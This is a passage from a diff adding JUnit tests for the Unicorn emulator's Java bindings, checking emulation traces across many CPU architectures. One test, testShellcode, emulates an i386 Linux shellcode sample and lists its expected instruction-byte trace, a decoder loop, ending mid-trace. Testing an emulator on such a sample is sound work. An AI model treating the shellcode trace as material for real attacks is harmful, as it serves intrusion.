#1164: Java binding use CodeHook on Windows, will invoke callback before every instruction */ + @Test + public void testCodeHookRunsOnce() { + byte[] ARM_CODE = + { 55, 0, (byte) 0xa0, (byte) 0xe3, 3, 16, 66, (byte) 0xe0 }; // mov r0, #0x37; sub r1, r2, r3 + int ADDRESS = 0x10000; + final int[] hook_count = { 0 }; + + Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM); + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + u.mem_write(ADDRESS, ARM_CODE); + u.hook_add((CodeHook) (uc, address, size, user) -> hook_count[0] += 1, + ADDRESS, ADDRESS, null); + + u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0); + assertEquals("Hook should only be called once", 1, hook_count[0]); + + u.close(); + } + + /** Test that close() can be called multiple times without crashing */ + @Test + public void testCloseIdempotent() { + Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM); + u.close(); + u.close(); + } + + /** Test that Unicorn instances are properly garbage-collected */ + @Ignore("This test is not deterministic") + @Test + public void testUnicornsWillGC() { + final boolean[] close_called = { false }; + + new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM) { + @Override + public void close() throws UnicornException { + close_called[0] = true; + super.close(); + } + }; + System.gc(); + System.runFinalization(); + assertEquals("close() was called", true, close_called[0]); + } +} diff --git a/bindings/java/src/test/java/tests/TestSamples.java b/bindings/java/src/test/java/tests/TestSamples.java new file mode 100644 index 0000000000..ea458cd8bd --- /dev/null +++ b/bindings/java/src/test/java/tests/TestSamples.java @@ -0,0 +1,1211 @@ +package tests; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assume.assumeTrue; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import org.junit.Before; +import org.junit.Ignore; +import org.junit.After; +import org.junit.Test; + +import unicorn.Unicorn; +import unicorn.UnicornConst; + +public class TestSamples implements UnicornConst { + private final ByteArrayOutputStream outContent = + new ByteArrayOutputStream(); + private final PrintStream originalOut = System.out; + + @Before + public void setUpStreams() { + outContent.reset(); + System.setOut(new PrintStream(outContent)); + } + + @After + public void restoreStreams() { + System.setOut(originalOut); + } + + @Test + public void testArm() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_ARM)); + samples.Sample_arm.test_arm(); + assertEquals( + "Emulate ARM code\n" + + ">>> Tracing basic block at 0x10000, block size = 0x4\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> R0 = 0x1234\n" + + ">>> R1 = 0x0\n", + outContent.toString()); + } + + @Test + public void testArmThumb() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_ARM)); + samples.Sample_arm.test_thumb(); + assertEquals( + "Emulate THUMB code\n" + + ">>> Tracing basic block at 0x10000, block size = 0x2\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x2\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> SP = 0x1228\n", + outContent.toString()); + } + + @Test + public void testArmEb() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_ARM)); + samples.Sample_arm.test_armeb(); + assertEquals( + "Emulate ARM Big-Endian code\n" + + ">>> Tracing basic block at 0x10000, block size = 0x8\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> R0 = 0x37\n" + + ">>> R1 = 0x3456\n", + outContent.toString()); + } + + @Test + public void testArmThumbEb() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_ARM)); + samples.Sample_arm.test_thumbeb(); + assertEquals( + "Emulate THUMB Big-Endian code\n" + + ">>> Tracing basic block at 0x10000, block size = 0x2\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x2\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> SP = 0x1228\n", + outContent.toString()); + } + + @Test + public void testArmThumbMrs() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_ARM)); + samples.Sample_arm.test_thumb_mrs(); + assertEquals( + "Emulate THUMB MRS instruction\n" + + ">>> Tracing basic block at 0x10000, block size = 0x4\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> PC = 0x10004\n", + outContent.toString()); + } + + @Test + public void testArmThumbIte() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_ARM)); + samples.Sample_arm.test_thumb_ite(); + assertEquals( + "Emulate a THUMB ITE block as a whole or per instruction.\n" + + "Running the entire binary.\n" + + ">>> R2: 104\n" + + ">>> R3: 1\n" + + "\n" + + "Running the binary one instruction at a time.\n" + + ">>> R2: 104\n" + + ">>> R3: 1\n" + + "\n", + outContent.toString()); + } + + @Test + public void testArmReadSctlr() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_ARM)); + samples.Sample_arm.test_read_sctlr(); + assertEquals( + "Read the SCTLR register.\n" + + ">>> SCTLR = 0xc50078\n" + + ">>> SCTLR.IE = 0\n" + + ">>> SCTLR.B = 0\n", + outContent.toString()); + } + + @Test + public void testArm64MemFetch() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_ARM64)); + samples.Sample_arm64.test_arm64_mem_fetch(); + assertEquals( + ">>> Emulate ARM64 fetching stack data from high address 10000000000000\n" + + ">>> x0(Exception Level)=1\n" + + ">>> X1 = 0xc8c8c8c8c8c8c8c8\n", + outContent.toString()); + } + + @Test + public void testArm64() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_ARM64)); + samples.Sample_arm64.test_arm64(); + assertEquals( + "Emulate ARM64 code\n" + + ">>> Tracing basic block at 0x10000, block size = 0x8\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> As little endian, X15 should be 0x78:\n" + + ">>> X15 = 0x78\n", + outContent.toString()); + } + + @Test + public void testArm64Eb() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_ARM64)); + samples.Sample_arm64.test_arm64eb(); + assertEquals( + "Emulate ARM64 Big-Endian code\n" + + ">>> Tracing basic block at 0x10000, block size = 0x8\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> As big endian, X15 should be 0x78:\n" + + ">>> X15 = 0x12\n", + outContent.toString()); + } + + @Test + public void testArm64Sctlr() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_ARM64)); + samples.Sample_arm64.test_arm64_sctlr(); + assertEquals( + "Read the SCTLR register.\n" + + ">>> SCTLR_EL1 = 0xc50838\n" + + ">>> SCTLR_EL2 = 0x0\n", + outContent.toString()); + } + + @Test + public void testArm64HookMrs() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_ARM64)); + samples.Sample_arm64.test_arm64_hook_mrs(); + assertEquals( + "Hook MRS instruction.\n" + + ">>> Hook MSR instruction. Write 0x114514 to X2.\n" + + ">>> X2 = 0x114514\n", + outContent.toString()); + } + + @Test + public void testArm64Pac() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_ARM64)); + samples.Sample_arm64.test_arm64_pac(); + assertEquals( + "Try ARM64 PAC\n" + + "X1 = 0x1401aaaabbbbcccc\n" + + "SUCCESS: PAC tag found.\n", + outContent.toString()); + } + + @Test + public void testCtlRead() { + samples.Sample_ctl.test_uc_ctl_read(); + assertEquals( + "Reading some properties by uc_ctl.\n" + + ">>> mode = 4, arch = 4, timeout=0, pagesize=4096\n", + outContent.toString()); + } + + @Test + public void testCtlExits() { + samples.Sample_ctl.test_uc_ctl_exits(); + assertEquals( + "Using multiple exits by uc_ctl.\n" + + ">>> Getting a new edge from 0x10004 to 0x10005.\n" + + ">>> eax = 1 and ebx = 0 after the first emulation\n" + + ">>> Getting a new edge from 0x10004 to 0x10007.\n" + + ">>> eax = 1 and ebx = 1 after the second emulation\n", + outContent.toString()); + } + + @Test + public void testM68k() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_M68K)); + samples.Sample_m68k.test_m68k(); + assertEquals( + "Emulate M68K code\n" + + ">>> Tracing basic block at 0x10000, block size = 0x2\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x2\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> A0 = 0x0 >>> D0 = 0x0\n" + + ">>> A1 = 0x0 >>> D1 = 0x0\n" + + ">>> A2 = 0x0 >>> D2 = 0x0\n" + + ">>> A3 = 0x0 >>> D3 = 0xffffffed\n" + + ">>> A4 = 0x0 >>> D4 = 0x0\n" + + ">>> A5 = 0x0 >>> D5 = 0x0\n" + + ">>> A6 = 0x0 >>> D6 = 0x0\n" + + ">>> A7 = 0x0 >>> D7 = 0x0\n" + + ">>> PC = 0x10002\n" + + ">>> SR = 0x0\n", + outContent.toString()); + } + + @Test + public void testMipsEl() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_MIPS)); + samples.Sample_mips.test_mips_el(); + assertEquals( + "Emulate MIPS code (little-endian)\n" + + ">>> Tracing basic block at 0x10000, block size = 0x4\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> R1 = 0x77df\n", + outContent.toString()); + } + + @Test + public void testMipsEb() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_MIPS)); + samples.Sample_mips.test_mips_eb(); + assertEquals( + "Emulate MIPS code (big-endian)\n" + + ">>> Tracing basic block at 0x10000, block size = 0x4\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> R1 = 0x77df\n", + outContent.toString()); + } + + @Test + public void testMmuCpuTlb() { + samples.Sample_mmu.cpu_tlb(); + assertEquals( + "Emulate x86 amd64 code with mmu enabled and switch mappings\n" + + "map code\n" + + "map parent memory\n" + + "map child memory\n" + + "map tlb memory\n" + + "set up the tlb\n" + + "run the parent\n" + + "save the context for the child\n" + + "finish the parent\n" + + "write at 0x1000: 0x3c\n" + + "restore the context for the child\n" + + "write at 0x2000: 0x2a\n" + + "parent result == 60\n" + + "child result == 42\n", + outContent.toString()); + } + + @Test + public void testMmuVirtualTlb() { + samples.Sample_mmu.virtual_tlb(); + assertEquals( + "Emulate x86 amd64 code with virtual mmu\n" + + "map code\n" + + "map parent memory\n" + + "map child memory\n" + + "run the parent\n" + + "tlb lookup for address: 0x2000\n" + + "save the context for the child\n" + + "finish the parent\n" + + "tlb lookup for address: 0x4000\n" + + "write at 0x1000: 0x3c\n" + + "restore the context for the child\n" + + "tlb lookup for address: 0x2000\n" + + "tlb lookup for address: 0x4000\n" + + "write at 0x2000: 0x2a\n" + + "parent result == 60\n" + + "child result == 42\n", + outContent.toString()); + } + + @Test + public void testPpc() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_PPC)); + samples.Sample_ppc.test_ppc(); + assertEquals( + "Emulate PPC code\n" + + ">>> Tracing basic block at 0x10000, block size = 0x4\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> r26 = 0x79bd\n", + outContent.toString()); + } + + @Test + public void testRiscvRecoverFromIllegal() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_RISCV)); + samples.Sample_riscv.test_recover_from_illegal(); + assertEquals( + "Emulate RISCV code: recover_from_illegal\n" + + ">>> Allocating block at 0x1000 (0x1000), block size = 0x2 (0x1000)\n" + + ">>> Tracing basic block at 0x1000, block size = 0x0\n" + + "Expected Illegal Instruction error, got: " + + "unicorn.UnicornException: Unhandled CPU exception (UC_ERR_EXCEPTION)\n" + + ">>> Tracing basic block at 0x10000, block size = 0x8\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> A0 = 0x1\n" + + ">>> A1 = 0x7890\n", + outContent.toString()); + } + + @Test + public void testRiscv1() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_RISCV)); + samples.Sample_riscv.test_riscv(); + assertEquals( + "Emulate RISCV code\n" + + ">>> Tracing basic block at 0x10000, block size = 0x8\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> Tracing instruction at 0x10004, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> A0 = 0x1\n" + + ">>> A1 = 0x78b0\n", + outContent.toString()); + } + + @Test + public void testRiscv2() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_RISCV)); + samples.Sample_riscv.test_riscv2(); + assertEquals( + "Emulate RISCV code: split emulation\n" + + ">>> Tracing basic block at 0x10000, block size = 0x4\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> A0 = 0x1\n" + + ">>> A1 = 0x7890\n" + + ">>> Tracing basic block at 0x10004, block size = 0x4\n" + + ">>> Tracing instruction at 0x10004, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> A0 = 0x1\n" + + ">>> A1 = 0x78b0\n", + outContent.toString()); + } + + @Test + public void testRiscv3() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_RISCV)); + samples.Sample_riscv.test_riscv3(); + assertEquals( + "Emulate RISCV code: early stop\n" + + ">>> Tracing basic block at 0x10000, block size = 0x8\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + "stop emulation\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> A0 = 0x1234\n" + + ">>> A1 = 0x7890\n", + outContent.toString()); + } + + @Test + public void testRiscvStep() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_RISCV)); + samples.Sample_riscv.test_riscv_step(); + assertEquals( + "Emulate RISCV code: step\n" + + ">>> Tracing basic block at 0x10000, block size = 0x8\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> A0 = 0x1\n" + + ">>> A1 = 0x7890\n" + + ">>> Tracing basic block at 0x10004, block size = 0x4\n" + + ">>> Tracing instruction at 0x10004, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> A0 = 0x1\n" + + ">>> A1 = 0x78b0\n", + outContent.toString()); + } + + @Ignore("timeout test is currently broken") + @Test + public void testRiscvTimeout() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_RISCV)); + samples.Sample_riscv.test_riscv_timeout(); + assertEquals( + "Emulate RISCV code: timeout\n" + + ">>> Tracing basic block at 0x10000, block size = 0x0\n" + + "Failed on uc_emu_start() with error returned: 21\n" + + "Error after step: PC is: 0x10004, expected was 0x10004\n" + + ">>> Tracing basic block at 0x10000, block size = 0x0\n" + + "Failed on uc_emu_start() with error returned: 21\n" + + "Error after step: PC is: 0x10004, expected was 0x10004\n" + + ">>> Emulation done\n", + outContent.toString()); + } + + @Test + public void testRiscvSd64() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_RISCV)); + samples.Sample_riscv.test_riscv_sd64(); + assertEquals( + "Emulate RISCV code: sd64 instruction\n" + + ">>> Tracing basic block at 0x10000, block size = 0x8\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> Emulation done.\n", + outContent.toString()); + } + + @Test + public void testRiscvFuncReturn() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_RISCV)); + samples.Sample_riscv.test_riscv_func_return(); + assertEquals( + "Emulate RISCV code: return from func\n" + + ">>> Tracing basic block at 0x10000, block size = 0x4\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> Tracing basic block at 0x10006, block size = 0x4\n" + + "Good, PC == RA\n" + + "========\n" + + ">>> Tracing basic block at 0x10004, block size = 0x2\n" + + ">>> Tracing instruction at 0x10004, instruction size = 0x2\n" + + ">>> Tracing basic block at 0x10006, block size = 0x4\n" + + "Good, PC == RA\n" + + ">>> Emulation done.\n", + outContent.toString()); + } + + @Test + public void testS390x() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_S390X)); + samples.Sample_s390x.test_s390x(); + assertEquals( + "Emulate S390X code\n" + + ">>> Tracing basic block at 0x10000, block size = 0x2\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x2\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> R2 = 0x3 >>> R3 = 0x3\n", + outContent.toString()); + } + + @Test + public void testShellcode() { + samples.Shellcode.test_i386(); + assertEquals( + "Emulate i386 code\n" + + "\n" + + ">>> Start tracing this Linux code\n" + + "Tracing instruction at 0x1000000, instruction size = 0x2\n" + + "*** EIP = 1000000 ***: eb 1c \n" + + "Tracing instruction at 0x100001e, instruction size = 0x5\n" + + "*** EIP = 100001e ***: e8 df ff ff ff \n" + + "Tracing instruction at 0x1000002, instruction size = 0x1\n" + + "*** EIP = 1000002 ***: 5a \n" + + "Tracing instruction at 0x1000003, instruction size = 0x2\n" + + "*** EIP = 1000003 ***: 89 d6 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 